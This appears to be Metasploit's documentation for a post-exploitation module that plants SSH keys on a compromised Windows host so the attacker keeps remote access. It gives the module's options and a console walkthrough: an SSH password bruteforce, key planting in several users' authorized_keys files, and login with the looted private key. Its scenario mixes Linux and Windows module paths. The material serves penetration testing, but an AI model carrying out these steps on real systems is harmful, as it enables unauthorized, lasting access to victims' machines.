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GitHub Repository: rapid7/metasploit-framework
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This module will add an SSH key to a specified user (or all), to allow remote login on the victim via SSH at any time.

Creating A Testing Environment

This module has been tested against:

  1. Windows 10, 1903

Verification Steps

  1. Start msfconsole

  2. Exploit a box via whatever method

  3. Do: use post/windows/manage/sshkey_persistence

  4. Do: set session #

  5. Optional Do: set USERNAME

  6. Optional Do: set SSHD_CONFIG

  7. Do: run

Options

SSHD_CONFIG

Location of the sshd_config file on the remote system. We use this to determine if the authorized_keys file location has changed on the system. If it hasn't, we default to .ssh/authorized_keys

USERNAME

If set, we only write our key to this user. If not, we'll write to all users

PUBKEY

A public key to use. If not provided, a pub/priv key pair is generated automatically

ADMIN_KEY_FILE

Location of public keys for Administrator level accounts

ADMIN

Add public keys for gaining access to Administrator level accounts

EDIT_CONFIG

Allow the module to edit the sshd_config to enable public key authentication

Scenarios

Get initial access

msf auxiliary(ssh_login) > exploit

[*] SSH - Starting bruteforce
[+] SSH - Success: 'tiki:tiki' 'uid=1000(tiki) gid=1000(tiki) groups=1000(tiki),4(adm),24(cdrom),27(sudo),30(dip),
46(plugdev),110(lxd),117(lpadmin),118(sambashare) Linux tikiwiki 4.4.0-21-generic
#37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.229:38886 -> 192.168.2.190:22) at 2016-06-19 09:52:48 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Use the post module to write the ssh key

msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence 
msf post(sshkey_persistence) > set SESSION 1
SESSION => 1
msf post(sshkey_persistence) > set CREATESSHFOLDER true
CreateSSHFolder => true    
msf5 post(windows/manage/sshkey_persistence) > run

[*] Checking SSH Permissions
[*] Authorized Keys File: .ssh/authorized_keys
[+] Storing new private key as /Users/dwelch/.msf4/loot/20200205161837_default_172.16.128.153_id_rsa_706898.txt
[*] Adding key to C:\Users\Dean Welch\.ssh\authorized_keys
[+] Key Added
[*] Adding key to C:\Users\testAccount\.ssh\authorized_keys
[+] Key Added
[*] Post module execution completed

Verify our access works

ssh -i /Users/dwelch/.msf4/loot/20200205153101_default_172.16.128.153_id_rsa_457054.txt [email protected]

Microsoft Windows [Version 10.0.18362.592]
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